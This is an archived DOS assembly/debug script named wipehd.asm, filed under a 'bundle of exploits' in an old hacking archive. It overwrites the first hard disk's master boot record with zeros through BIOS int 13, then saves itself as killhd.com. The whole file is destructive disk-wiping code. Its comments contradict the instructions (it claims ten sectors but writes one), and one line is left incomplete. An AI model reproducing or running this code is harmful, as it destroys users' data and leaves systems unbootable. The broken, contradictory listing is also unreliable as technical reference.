home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / wipehd.asm < prev    next >
Assembly Source File  |  1998-07-17  |  1KB  |  36 lines

  1. a 100
  2. mov ah,9        ; Function 9: write string pointed to by DS:DX
  3. push cs         ; The string is in CS, so make CS = DS.
  4. pop ds
  5. mov ax,
  6. mov dx,12B      ; Set DX to point to the right string.
  7. int 21          ; Print out message: what we're doing.
  8. xor ax,ax       ; Wait for a key press.
  9. int 16
  10. mov ah,03       ; Function 3 -> Write absolute sector.
  11. mov al,1        ; Write 10 sectors.
  12. mov ch,0        ; Write at track 0.
  13. mov cl,1        ; Write at sector 1.
  14. mov dh,0        ; Write at head 0.
  15. mov dl,80       ; On the first hard disk. (first floppy = 0)
  16. push cs         ; Write data from ES:BX, aka CS:BX, aka from a
  17. pop es          ;  big buffer o' zeros. 
  18. mov bx,117      ; Our code ends (and the buffer begins) at 113 hex.
  19. int 13          ; Rock 'n Roll... MBR is now wiped clean.
  20. mov ah,9        ; Same song, second verse.
  21. mov dx,195      ; Set DX to point to the other string.
  22. int 21          ; Print out message: Success.
  23. mov ah,4C       ; And exit the program.
  24. int 21
  25. db "WARNING:",07,07,07," Wiping first 10 sectors of the hard disk!!",0D,0A
  26. db "Press any key to continue, or CTRL-BRK to stop.",0D,0A,0D,0A"$"
  27. db "Done wiping.",0D,0A,"$"
  28.  
  29. f cs:1A4 15A4 00
  30. n killhd.com
  31. rcx
  32. 14A4
  33. w
  34. q
  35.  
  36.